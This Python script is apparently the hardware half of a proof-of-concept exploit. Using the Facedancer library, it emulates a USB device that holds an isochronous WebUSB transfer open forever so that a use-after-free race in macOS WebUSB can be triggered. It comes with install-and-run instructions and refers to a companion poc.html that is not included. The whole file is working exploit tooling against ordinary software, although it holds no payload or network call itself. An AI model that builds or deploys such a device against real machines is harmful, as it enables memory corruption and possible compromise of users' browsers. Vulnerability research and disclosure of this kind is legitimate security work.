#!/usr/bin/env python3
"""Attacker-controlled USB device for the macOS WebUSB iso/release UAF.

Emulates the minimal device the bug needs:
  * 1 configuration
  * 1 interface (#0, vendor-specific class 0xFF) so WebUSB will claim it
  * 1 isochronous-IN endpoint 0x81 that never produces data, so the
    submitted iso transfer stays pending while the race runs.

Run on Facedancer-compatible hardware (GreatFET One, Cynthion, etc.)
plugged into the target Mac:

    pip install facedancer
    python3 usb-gadget.py

Match VID/PID with poc.html.
"""
from facedancer import (
    USBDevice, USBConfiguration, USBInterface, USBEndpoint,
    USBDirection, USBTransferType, main,
)

VID = 0x1209
PID = 0x000F


class NakIsoInterface(USBInterface):
    number = 0
    class_number = 0xFF       # vendor-specific -> claimable by WebUSB
    subclass_number = 0x00
    protocol_number = 0x00

    class IsoIn(USBEndpoint):
        number = 1
        direction = USBDirection.IN
        transfer_type = USBTransferType.ISOCHRONOUS
        max_packet_size = 64
        interval = 1

        def handle_data_requested(self):
            # Never send -> the host's ReadIsochPipeAsync stays outstanding,
            # which keeps T2 inside submit_iso_transfer / keeps the transfer
            # alive while ReleaseInterface + Close race it.
            pass


class NakIsoDevice(USBDevice):
    vendor_id = VID
    product_id = PID
    manufacturer_string = "poc"
    product_string = "iso-nak"

    class DefaultConfiguration(USBConfiguration):
        configuration_number = 1
        Interface0 = NakIsoInterface


if __name__ == "__main__":
    main(NakIsoDevice)
